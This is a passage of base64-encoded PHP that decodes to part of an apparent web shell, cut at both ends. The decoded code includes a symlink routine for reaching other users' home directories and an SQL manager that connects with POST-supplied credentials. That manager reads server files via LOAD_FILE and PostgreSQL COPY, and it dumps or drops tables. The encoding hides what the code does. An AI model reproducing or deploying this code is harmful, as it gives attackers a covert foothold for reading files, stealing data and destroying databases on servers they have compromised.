XNlcn0iLCJ7dXJsfSIsICJ7Y3dkfSIpLCBhcnJheSgkeCsrLCAkdXNlciwgJGRvbWFpbiwgJGN3ZCksICR0ZW1wbGF0ZSk7CgkJCQl9ZWxzZXsKCQkJCQkkdWtub3duc1skdXNlcl0gPSAkaG9tZTsKCQkJCX0KCQkJfQoJCX0KCQkkdWtub3ducyA9IGFycmF5X3VuaXF1ZSgkdWtub3ducyk7CgkJZm9yZWFjaCgkdWtub3ducyBhcyAkdXNlciA9PiAkaG9tZSl7CgkJCWlmKCRpc19kaXJlY3QpewoJCQkJJGN3ZCA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCAkdXNlciwgJG1ha2Vwd2QpOwoJCQl9ZWxzZXsKCQkJCSRleHBsID0gZXhwbG9kZSgifS8iLCAkbWFrZXB3ZCk7CgkJCQkkY3dkID0gJGhvbWUuIi8iLiRleHBsWzFdOwoJCQl9CgkJCSRodG1sIC49IHN0cl9yZXBsYWNlKGFycmF5KCJ7Y291bnR9Iiwie3VzZXJ9Iiwie3VybH0iLCAie2N3ZH0iKSwgYXJyYXkoJHgrKywgJHVzZXIsICJbPz8/Pz9dIiwgJGN3ZCksICR0ZW1wbGF0ZSk7CgkJfQoJCWVjaG8oJGh0bWwpOwoJfQp9CmVjaG8gIjwvdGFibGU+IjsKJGNhbnRfc3ltbGluayA9IGZhbHNlOwp9Cn1lbHNlewoJZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5bK10gU3ltbGluayBGdW5jdGlvbiBEaXNhYmxlZCAhPC9iPjwvZm9udD48L3ByZT48L2NlbnRlcj4iOwoJJGNhbnRfc3ltbGluayA9IGZhbHNlOwp9CmlmKCRjYW50X3N5bWxpbmspZWNobyAnPHByZSBpZD0ic3RyT3V0cHV0IiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiIGNsYXNzPSJtbDEiPjxicj48Zm9udCBjb2xvcj0iI0ZGRkZGRiI+RXJyb3IuLi48L2ZvbnQ+PC9iPjxicj4nOwplY2hvICI8L2NlbnRlcj48L3RhYmxlPiI7Cn0KZWNobyAiPC9kaXY+IjsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGhva2lzcWwoKXsKY2xhc3MgRGJDbGFzc3sKcHVibGljICR0eXBlOwpwdWJsaWMgJGxpbms7CnB1YmxpYyAkcmVzOwpwdWJsaWMgJG15c3FsaV9jb25uZWN0X2Vycm9yID0gZmFsc2U7CnB1YmxpYyAkbXlzcWxpX2Nvbm5lY3RfZXJyb3JfbXNnID0gIiI7CmZ1bmN0aW9uIF9fY29uc3RydWN0KCR0eXBlKXsKJHRoaXMtPnR5cGUgPSAkdHlwZTsKfQpmdW5jdGlvbiBjb25uZWN0KCRob3N0LCAkdXNlciwgJHBhc3MsICRkYm5hbWUpewpzd2l0Y2goJHRoaXMtPnR5cGUpewpjYXNlICdteXNxbCc6CmlmKCR0aGlzLT5saW5rID0gQG15c3FsaV9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzLCRkYm5hbWUpKXsKCXJldHVybiB0cnVlOwp9ZWxzZXsKCSR0aGlzLT5teXNxbGlfY29ubmVjdF9lcnJvciA9IHRydWU7CgkkdGhpcy0+bXlzcWxpX2Nvbm5lY3RfZXJyb3JfbXNnID0gbXlzcWxpX2Nvbm5lY3RfZXJyb3IoKTsKCXJldHVybiBmYWxzZTsKfQpicmVhazsKY2FzZSAncGdzcWwnOgokaG9zdCA9IGV4cGxvZGUoJzonLCAkaG9zdCk7CmlmKCEkaG9zdFsxXSkgJGhvc3RbMV09NTQzMjsKaWYoICR0aGlzLT5saW5rID0gQHBnX2Nvbm5lY3QoImhvc3Q9eyRob3N0WzBdfSBwb3J0PXskaG9zdFsxXX0gdXNlcj0kdXNlciBwYXNzd29yZD0kcGFzcyBkYm5hbWU9JGRibmFtZSIpICkgcmV0dXJuIHRydWU7CmJyZWFrOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBzZWxlY3RkYigkZGIpewpzd2l0Y2goJHRoaXMtPnR5cGUpewpjYXNlICdteXNxbCc6CmlmKEBteXNxbGlfc2VsZWN0X2RiKCRkYikpcmV0dXJuIHRydWU7CmJyZWFrOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBxdWVyeSgkc3RyKXsKc3dpdGNoKCR0aGlzLT50eXBlKXsKY2FzZSAnbXlzcWwnOgpyZXR1cm4gJHRoaXMtPnJlcyA9IEBteXNxbGlfcXVlcnkoJHRoaXMtPmxpbmssJHN0cik7CmJyZWFrOwpjYXNlICdwZ3NxbCc6CnJldHVybiAkdGhpcy0+cmVzID0gQHBnX3F1ZXJ5KCR0aGlzLT5saW5rLCRzdHIpOwpicmVhazsKfQpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gZmV0Y2goKXsKJHJlcyA9IGZ1bmNfbnVtX2FyZ3MoKT9mdW5jX2dldF9hcmcoMCk6JHRoaXMtPnJlczsKc3dpdGNoKCR0aGlzLT50eXBlKXsKY2FzZSAnbXlzcWwnOgpyZXR1cm4gQG15c3FsaV9mZXRjaF9hc3NvYygkcmVzKTsKYnJlYWs7CmNhc2UgJ3Bnc3FsJzoKcmV0dXJuIEBwZ19mZXRjaF9hc3NvYygkcmVzKTsKYnJlYWs7Cn0KcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGxpc3REYnMoKXsKc3dpdGNoKCR0aGlzLT50eXBlKXsKY2FzZSAnbXlzcWwnOgpyZXR1cm4gJHRoaXMtPnF1ZXJ5KCJTSE9XIGRhdGFiYXNlcyIpOwpicmVhazsKY2FzZSAncGdzcWwnOgpyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgiU0VMRUNUIGRhdG5hbWUgRlJPTSBwZ19kYXRhYmFzZSBXSEVSRSBkYXRpc3RlbXBsYXRlIT0ndCciKTsKYnJlYWs7Cn0KcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGxpc3RUYWJsZXMoKXsKc3dpdGNoKCR0aGlzLT50eXBlKXsKY2FzZSAnbXlzcWwnOgpyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgnU0hPVyBUQUJMRVMnKTsKYnJlYWs7CmNhc2UgJ3Bnc3FsJzoKcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoInNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWEgIT0gJ2luZm9ybWF0aW9uX3NjaGVtYScgQU5EIHRhYmxlX3NjaGVtYSAhPSAncGdfY2F0YWxvZyciKTsKYnJlYWs7Cn0KcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGVycm9yKCl7CnN3aXRjaCgkdGhpcy0+dHlwZSl7CmNhc2UgJ215c3FsJzoKcmV0dXJuIEBteXNxbGlfZXJyb3IoJHRoaXMtPmxpbmspOwpicmVhazsKY2FzZSAncGdzcWwnOgpyZXR1cm4gQHBnX2xhc3RfZXJyb3IoKTsKYnJlYWs7Cn0KcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIHNldENoYXJzZXQoJHN0cil7CnN3aXRjaCgkdGhpcy0+dHlwZSl7CmNhc2UgJ215c3FsJzoKaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZXRfY2hhcnNldCcpKQpyZXR1cm4gQG15c3FsaV9zZXRfY2hhcnNldCgkdGhpcy0+bGluaywkc3RyKTsKZWxzZQokdGhpcy0+cXVlcnkoJ1NFVCBDSEFSU0VUICcuJHN0cik7CmJyZWFrOwpjYXNlICdwZ3NxbCc6CnJldHVybiBAcGdfc2V0X2NsaWVudF9lbmNvZGluZygkdGhpcy0+bGluaywgJHN0cik7CmJyZWFrOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBsb2FkRmlsZSgkc3RyKXsKc3dpdGNoKCR0aGlzLT50eXBlKXsKY2FzZSAnbXlzcWwnOgpyZXR1cm4gJHRoaXMtPmZldGNoKCR0aGlzLT5xdWVyeSgiU0VMRUNUIExPQURfRklMRSgnIi5hZGRzbGFzaGVzKCRzdHIpLiInKSBhcyBmaWxlIikpOwpicmVhazsKY2FzZSAncGdzcWwnOgokdGhpcy0+cXVlcnkoIkNSRUFURSBUQUJMRSBraXNlcnlvdW5pKGZpbGUgdGV4dCk7Q09QWSBraXNlcnlvdW5pIEZST00gJyIuYWRkc2xhc2hlcygkc3RyKS4iJztzZWxlY3QgZmlsZSBmcm9tIGtpc2VyeW91bmk7Iik7CiRyPWFycmF5KCk7CndoaWxlKCRpPSR0aGlzLT5mZXRjaCgpKQokcltdID0gJGlbJ2ZpbGUnXTsKJHRoaXMtPnF1ZXJ5KCdkcm9wIHRhYmxlIGtpc2VyeW91bmknKTsKcmV0dXJuIGFycmF5KCdmaWxlJz0+aW1wbG9kZSgiXG4iLCRyKSk7CmJyZWFrOwp9CnJldHVybiBmYWxzZTsKfQp9OwokZGIgPSBuZXcgRGJDbGFzcygkX1BPU1RbJ3R5cGUnXSk7Cmhva2loZWFkKCk7CiRmb3JtX3Zpc2liaWxpdHkgPSAidGFibGUiOwppZihpc3NldCgkX1BPU1RbJ3NxbF9ob3N0J10pKXsKCSRjb25uZWN0aW9uX2RiID0gJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pOwoJaWYoJGNvbm5lY3Rpb25fZGIgJiYgIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpewoJCSRmb3JtX3Zpc2liaWxpdHkgPSAibm9uZSI7Cgl9Cn0KJGRhdGFiYXNlX2xpc3QgPSBhcnJheSgpOwplY2hvICIKPGRpdiBjbGFzcz0naGVhZGVyJyBzdHlsZT0nbWluLWhlaWdodDozMDBweDsnPiIuKCRmb3JtX3Zpc2liaWxpdHkhPSJub25lIj8iPGNlbnRlcj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBTcWwgTWFuYWdlciB8PC9kaXY+PHA+Ii5nZXRDb25maWdIdG1sKCdhbGwnKS4iPC9wPjwvY2VudGVyPjxkaXYgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyO21hcmdpbi1ib3R0b206IDEwcHg7Jz48YnV0dG9uIGNsYXNzPSdjb25uZWN0aW9uLWhpcy1idG4gZGItb3B0LWlkJyBvbmNsaWNrPSdob2tpU2hvd0Nvbm5lY3Rpb25IaXN0b3J5KHRoaXMpOycgbW9kZT0nb24nPkNvbm5lY3Rpb24gSGlzdG9yeTwvYnV0dG9uPjxkaXYgY2xhc3M9J2Nvbm5lY3Rpb25faGlzdG9yeV9ob2xkZXInPjwvZGl2PjwvZGl2PiI6IiIpLiIKPGRpdiBjbGFzcz0nc2YnIGNsYXNzPSdkYi1vcHQtaWQnPjx0YWJsZSBzdHlsZT0nbWFyZ2luOiAwIGF1dG87Ii4oJGZvcm1fdmlzaWJpbGl0eT09Im5vbmUiPyJkaXNwbGF5Om5vbmU7IjoiIikuIicgY2VsbHBhZGRpbmc9JzInIGNlbGxzcGFjaW5nPScwJz48dHI+Cjx0ZD48ZGl2IGNsYXNzPVwidHh0Zm9udFwiPlRZUEU8L2Rpdj48L3RkPjx0ZD48ZGl2IGNsYXNzPVwidHh0Zm9udFwiPkhPU1Q8L2Rpdj48L3RkPjx0ZD48ZGl2IGNsYXNzPVwidHh0Zm9udFwiPkRCIFVTRVI8L2Rpdj48L3RkPjx0ZD48ZGl2IGNsYXNzPVwidHh0Zm9udFwiPkRCIFBBU1M8L2Rpdj48L3RkPjx0ZD48ZGl2IGNsYXNzPVwidHh0Zm9udFwiPkRCIE5BTUU8L2Rpdj48L3RkPjx0ZD48L3RkPjwvdHI+PHRyPgo8dGQ+PHNlbGVjdCBuYW1lPSd0eXBlJz48b3B0aW9uIHZhbHVlPSdteXNxbCcgc2VsZWN0ZWQ+bXlzcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPgo8dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NxbF9ob3N0JyBpZD0nZGJfaG9zdCcgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9ob3N0J10pPydsb2NhbGhvc3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfaG9zdCddKSkgLiInPjwvdGQ+Cjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc3FsX2xvZ2luJyBpZD0nZGJfdXNlcicgdmFsdWU9JyIuIChlbXB0eSgkX1BPU1RbJ3NxbF9sb2dpbiddKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2xvZ2luJ10pKSAuIic+PC90ZD4KPHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzcWxfcGFzcycgaWQ9J2RiX3B3JyB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX3Bhc3MnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9wYXNzJ10pKSAuIic+PC90ZD48dGQ+IjsKJHRtcCA9ICI8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc3FsX2Jhc2UnIGlkPSdkYl9uYW1lJyB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9iYXNlJ10pKSAuIic+IjsKaWYoaXNzZXQoJF9QT1NUWydzcWxfaG9zdCddKSl7CmlmKCRjb25uZWN0aW9uX2RiKXsKJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7CiRkYi0+bGlzdERicygpOwplY2hvICI8c2VsZWN0IG5hbWU9c3FsX2Jhc2U+PG9wdGlvbiB2YWx1ZT0nJz48L29wdGlvbj4iOwp3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkgewpsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsKJGRhdGFiYXNlX2xpc3RbXSA9ICR2YWx1ZTsKZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oJHZhbHVlPT0kX1BPU1RbJ3NxbF9iYXNlJ10/J3NlbGVjdGVkJzonJykuJz4nLiR2YWx1ZS4nPC9vcHRpb24+JzsKfQplY2hvICc8L3NlbGVjdD4nOwp9ZWxzZXsKCWVjaG8gJHRtcDsKfQp9ZWxzZQplY2hvICR0bXA7CiRjdXJyX215c3FsX2lkID0gJF9QT1NUWydjdXJyZW50X215c3FsX2lkJ107CmVjaG8gIjwvdGQ+Cjx0ZD48YnV0dG9uIG9uY2xpY2s9J2ZzKHRoaXMpO3JldHVybiBmYWxzZTsnIGNsYXNzPSdkYi1vcHQtaWQgZGItY29ubmVjdC1idG4nPkNvbm5lY3Q8L2J1dHRvbj48L3RkPgo8dGQ+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSdzcWxfY291bnQnIHZhbHVlPSdvbiciIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycnOicgY2hlY2tlZCcpIC4gIj4gPGRpdiBjbGFzcz1cInR4dGZvbnRcIj5jb3VudCB0aGUgbnVtYmVyIG9mIHJvd3M8L2Rpdj48L3RkPgo8L3RyPgo8L3RhYmxlPiI7CmlmKCRkYi0+bXlzcWxpX2Nvbm5lY3RfZXJyb3IpewoJZWNobyAnPGRpdiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyO2ZvbnQtc2l6ZTogMTdweDttYXJnaW4tdG9wOiAxOHB4OyI+Jy4kZGItPm15c3FsaV9jb25uZWN0X2Vycm9yX21zZy4nPC9kaXY+JzsKfQppZighZW1wdHkoJGN1cnJfbXlzcWxfaWQpKXsKCSRzcWxfdGl0bGVfZGIgPSAiIjsKCWlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9iYXNlJ10pKXsKCQkkc3FsX3RpdGxlX2RiID0gImQucXVlcnlTZWxlY3RvcignI3RhYl8iLiRjdXJyX215c3FsX2lkLiIgc3BhbicpLmlubmVySFRNTD0nIi5hZGRzbGFzaGVzKCRfUE9TVFsnc3FsX2Jhc2UnXSkuIic7IjsKCX0KCWVjaG8gIjxzY3JpcHQ+bXlzcWxfY2FjaGVbJyIuJGN1cnJfbXlzcWxfaWQuIiddWydob3N0J109JyIuYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9ob3N0J10pLiInO215c3FsX2NhY2hlWyciLiRjdXJyX215c3FsX2lkLiInXVsndXNlciddPSciLmFkZHNsYXNoZXMoJF9QT1NUWydzcWxfbG9naW4nXSkuIic7bXlzcWxfY2FjaGVbJyIuJGN1cnJfbXlzcWxfaWQuIiddWydwYXNzJ109JyIuYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9wYXNzJ10pLiInO215c3FsX2NhY2hlWyciLiRjdXJyX215c3FsX2lkLiInXVsnZGInXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsnc3FsX2Jhc2UnXSkuIic7bXlzcWxfY2FjaGVbJyIuJGN1cnJfbXlzcWxfaWQuIiddWydjaGFyc2V0J109JyIuYWRkc2xhc2hlcygkX1BPU1RbJ2NoYXJzZXQnXSkuIic7bXlzcWxfY2FjaGVbJyIuJGN1cnJfbXlzcWxfaWQuIiddWyd0eXBlJ109JyIuYWRkc2xhc2hlcygkX1BPU1RbJ3R5cGUnXSkuIic7bXlzcWxfY2FjaGVbJyIuJGN1cnJfbXlzcWxfaWQuIiddWydjb3VudCddPSciLmFkZHNsYXNoZXMoJF9QT1NUWydzcWxfY291bnQnXSkuIic7Ii4kc3FsX3RpdGxlX2RiLiJob2tpQ29ubmVjdGlvbkhpc3RvcnlVcGRhdGUoKTs8L3NjcmlwdD4iOwp9CmlmKGlzc2V0KCRkYikgJiYgJGRiLT5saW5rKXsKaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpewplY2hvICI8ZGl2IGNsYXNzPSdteXNxbC1tYWluJz48ZGl2IG1vZGU9J2Jsb2NrJyBvbmNsaWNrPSdob2tpTXlzcWxUYWJsZVBhbmVsQ3RsKHRoaXMpOycgY2xhc3M9J3RhYmxlcy1wYW5lbC1jdGwgZGItb3B0LWlkJz4mI3gzQzsmI3gzQzs8L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC10YWJsZXMnPjxkaXY+PGlucHV0IHBsYWNlaG9sZGVyPVwiRmlsdGVyIFRhYmxlXCIgc3R5bGU9J3BhZGRpbmc6IDA7bWFyZ2luLWxlZnQ6IDExcHg7dGV4dC1hbGlnbjpjZW50ZXI7JyB0eXBlPSd0ZXh0JyBuYW1lPSdmaWx0ZXJfYWxsJz48YnV0dG9uIGNsYXNzPSdkYi1vcHQtaWQnIG9uY2xpY2s9J2hva2lNeXNxbEZpbHRlckFsbFRhYmxlKHRoaXMpO3JldHVybiBmYWxzZTsnPlNlYXJjaDwvYnV0dG9uPjwvZGl2PjxkaXYgY2xhc3M9J2Jsb2NrJz48YSBzcWxfY291bnQ9JyIuKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPyJmYWxzZSI6InRydWUiKS4iJyBtb2RlPSdjbG9zZWQnIG9uY2xpY2s9J2hva2lNeXNxbEZpbHRlckFsbFRhYmxlKHRoaXMsdHJ1ZSk7JyBjbGFzcz0nZXhwYW5kZXIgcGFyZW50LWV4cGFuZGVyIGRiLW9wdC1pZCcgaHJlZj0namF2YXNjcmlwdDp2b2lkKDApOyc+PGltZyBzcmM9J2h0dHBzOi8vcG5nLnBuZ3RyZWUuY29tL3BuZy1jbGlwYXJ0LzIwMjMwMzA4L291cm1pZC9wbmd0cmVlLWxvZ28tZ2FydWRhLXBhbmNhc2lsYS1yZWQtd2hpdGUtZWFnbGUtZm9yLWRmdC1wcmludC1mcmVlLWRvd25sb2FkLXBuZy1pbWFnZV82NjM3MTU5LnBuZycgdGl0bGU9J0V4cGFuZC9Db2xsYXBzZSBBbGwgRGF0YUJhc2VzJyBhbHQ9J0V4cGFuZC9Db2xsYXBzZSBBbGwgRGF0YUJhc2VzJz48L2E+PC9kaXY+PHVsIHN0eWxlPSdtYXJnaW4tdG9wOiAyOHB4Oyc+IjsKZm9yZWFjaCAoJGRhdGFiYXNlX2xpc3QgYXMgJGRiX25hbWUpIHsKCWVjaG8gJzxsaT48ZGl2IGNsYXNzPSJibG9jayI+PGk+PC9pPjxiPjwvYj48YSBzcWxfY291bnQ9IicuKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPyJmYWxzZSI6InRydWUiKS4nIiBkYl90YXJnZXQ9IicuJGRiX25hbWUuJyIgb25jbGljaz0iaG9raU15c3FsRXhwYW5kZXIodGhpcyk7IiBjbGFzcz0iZXhwYW5kZXIgY2xzLScuJGRiX25hbWUuJy1leHBhbmRlciBkYi1vcHQtaWQiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiPjxpbWcgc3JjPSJodHRwczovL3BuZy5wbmd0cmVlLmNvbS9wbmctY2xpcGFydC8yMDIzMDMwOC9vdXJtaWQvcG5ndHJlZS1sb2dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmcnLigkZGJfbmFtZSA9PSAkX1BPU1RbJ3NxbF9iYXNlJ10/InBuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nIjoicG5ndHJlZS1sb2dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmciKS4nIiB0aXRsZT0iRXhwYW5kL0NvbGxhcHNlIiBhbHQ9IkV4cGFuZC9Db2xsYXBzZSI+PC9hPjwvZGl2PjxzcGFuIGNsYXNzPSJkYl9uYW1lIj4nLiRkYl9uYW1lLic8L3NwYW4+PGRpdiBjbGFzcz0iY2xlYXJmbG9hdCI+PC9kaXY+PGRpdiBkYl9uYW1lPSInLiRkYl9uYW1lLiciIG1vZGU9IicuKCRkYl9uYW1lID09ICRfUE9TVFsnc3FsX2Jhc2UnXT8ibG9hZGVkIjoibm8iKS4nIiBjbGFzcz0ibGlzdF9jb250YWluZXIgY2xzLScuJGRiX25hbWUuJyI+PGRpdj4nOwoJaWYoJGRiX25hbWUgPT0gJF9QT1NUWydzcWxfYmFzZSddKXsKCQkkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7CgkJJHRibHNfcmVzID0gJGRiLT5saXN0VGFibGVzKCk7CgkJZWNobyAnPHVsPjxsaT48ZGl2IGNsYXNzPSJibG9jayI+PGk+PC9pPjxiPjwvYj48L2Rpdj48ZGl2PjxpbnB1dCBzdHlsZT0icGFkZGluZzogMDttYXJnaW4tbGVmdDogMTFweDt0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIGNsYXNzPSJkYi1vcHQtaWQiIHRhcmdldD0iLmNscy0nLiRkYl9uYW1lLiciIHBsYWNlaG9sZGVyPSJGaWx0ZXIgVGFibGUiIG9ua2V5dXA9Imhva2lNeXNxbEZpbHRlclRhYmxlKHRoaXMpOyIgbmFtZT0iZmlsdGVyIj48L2Rpdj48L2xpPic7CgkJd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCR0YmxzX3JlcykpewoJCWxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOwoJCWlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKSkKCQkkbiA9ICRkYi0+ZmV0Y2goJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSBgJy4kdmFsdWUuJ2AnKSk7CgkJJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpOwoJCWVjaG8gIjxsaT48ZGl2IGNsYXNzPSdibG9jayc+PGk+PC9pPjxiPjwvYj48L2Rpdj48ZGl2IGNsYXNzPSd0YWJsZXMtcm93Jz48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIi4kdmFsdWUuIic+Jm5ic3A7PGEgY2xhc3M9J2RiLW9wdC1pZCcgZGJfdGFyZ2V0PSciLiRkYl9uYW1lLiInIGhyZWY9J2phdmFzY3JpcHQ6dm9pZCgwKTsnIG9uY2xpY2s9XCJob2tpTG9hZFRhYmxlRGF0YSh0aGlzLCciLiR2YWx1ZS4iJylcIj48c3BhbiBjbGFzcz0nbXlzcWxfdGFibGVzJyBzdHlsZT0nZm9udC13ZWlnaHQ6dW5zZXQ7Jz4iLiR2YWx1ZS4iPC9zcGFuPjwvYT4iIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycmbmJzcDsnOiIgPHNtYWxsPjxzcGFuIHN0eWxlPSdmb250LXdlaWdodDp1bnNldDsnIGNsYXNzPSdteXNxbF90YWJsZV9jb3VudCc+KHskblsnbiddfSk8L3NwYW4+PC9zbWFsbD4iKSAuICI8L2Rpdj48L2xpPiI7CgkJfQoJCWVjaG8gJzwvdWw+PGRpdiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDI2cHg7bWFyZ2luLWJvdHRvbTogMTBweDttYXJnaW4tdG9wOiAxMHB4OyI+PGlucHV0IG9uY2hhbmdlPSJob2tpTXlzcWxUYWJsZXNFdmlsKHRoaXMpOyIgY2xhc3M9ImRiLW9wdC1pZCIgdGFyZ2V0PSIuY2xzLScuJGRiX25hbWUuJyIgdHlwZT0iY2hlY2tib3giIGNsYXNzPSJkYi1vcHQtaWQiPjxzZWxlY3Qgb25jaGFuZ2U9Imhva2lNeXNxbFRhYmxlc0R1bXBEcm9wKHRoaXMpOyIgY2xhc3M9ImRiLW9wdC1pZCIgdGFyZ2V0PSIuY2xzLScuJGRiX25hbWUuJyIgY2xhc3M9ImRiLW9wdC1pZCIgbmFtZT0idGFibGVzX2V2aWwiIHN0eWxlPSJwYWRkaW5nOiAwO3dpZHRoOiAxMDBweDsiPjxvcHRpb24gc2VsZWN0ZWQ+ZHJvcDwvb3B0aW9uPjxvcHRpb24+ZHVtcDwvb3B0aW9uPjwvc2VsZWN0PiA8YnV0dG9uIG9uY2xpY2s9Imhva2lNeXNxbFRhYmxlc0R1bXBEcm9wQnRuKHRoaXMpO3JldHVybiBmYWxzZTsiIGNsYXNzPSJkYi1vcHQtaWQiIGRiX3RhcmdldD0iJy4kZGJfbmFtZS4nIiB0YXJnZXQ9Ii5jbHMtJy4kZGJfbmFtZS4nIiBjbGFzcz0iZGItb3B0LWlkIj5EbyBpdDwvYnV0dG9uPjxkaXYgY2xhc3M9ImR1bXAtZmlsZS1ob2xkZXIiIHN0eWxlPSJkaXNwbGF5Om5vbmU7bWFyZ2luLWxlZnQ6MjBweDttYXJnaW4tdG9wOiA1cHg7Ij48aW5wdXQgc3R5bGU9InBhZGRpbmc6IDA7dGV4dC1hbGlnbjpjZW50ZXI7IiB0eXBlPSJ0ZXh0IiBwbGFjZWhvbGRlcj0iZHVtcC5zcWwiIG5hbWU9ImR1bXBfZmlsZSI+PC9kaXY+PC9kaXY+JzsKCX0KCWVjaG8gIjwvZGl2PjwvbGk+IjsKfQplY2hvICI8L3VsPjwvZGl2PjxkaXYgY2xhc3M9J215c3FsLXF1ZXJ5LXJlc3VsdHMnPjxkaXYgY2xhc3M9J215c3FsLXF1ZXJ5LXJlc3VsdC10YWJzJz48ZGl2IGNsYXNzPSdkYi1vcHQtaWQgbXlzcWwtcXVlcnktc2VsZWN0ZWQtdGFiJyB0YXJnZXQ9Jy5teXNxbC1xdWVyeS1yZXN1bHQtY29udGVudCcgb25jbGljaz0naG9raU15c3FsVGFiQ3RsKHRoaXMpOyc+UmVzdWx0PC9kaXY+PGRpdiBjbGFzcz0nZGItb3B0LWlkJyB0YXJnZXQ9Jy5teXNxbC1xdWVyeS1mb3JtJyBvbmNsaWNrPSdob2tpTXlzcWxUYWJDdGwodGhpcyk7Jz5RdWVyeTwvZGl2PjxkaXYgY2xhc3M9J2RiLW9wdC1pZCcgdGFyZ2V0PScubXlzcWwtc2VhcmNoLWFyZWEnIG9uY2xpY2s9J2hva2lNeXNxbFRhYkN0bCh0aGlzKTsnPlNlYXJjaDwvZGl2PjxkaXYgY2xhc3M9J2RiLW9wdC1pZCcgdGFyZ2V0PScubXlzcWwtc3RydWN0dXJlJyBvbmNsaWNrPSdob2tpTXlzcWxUYWJDdGwodGhpcyk7Jz5TdHJ1Y3R1cmU8L2Rpdj48ZGl2IGNsYXNzPSdkYi1vcHQtaWQnIHRhcmdldD0nLm15c3FsLWluc2VydC1yb3cnIG9uY2xpY2s9J2hva2lNeXNxbFRhYkN0bCh0aGlzKTsnPkluc2VydDwvZGl2PjxkaXYgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnIGNsYXNzPSdkYi1vcHQtaWQnIHRhcmdldD0nLm15c3FsLWVkaXQtcm93JyBvbmNsaWNrPSdob2tpTXlzcWxUYWJDd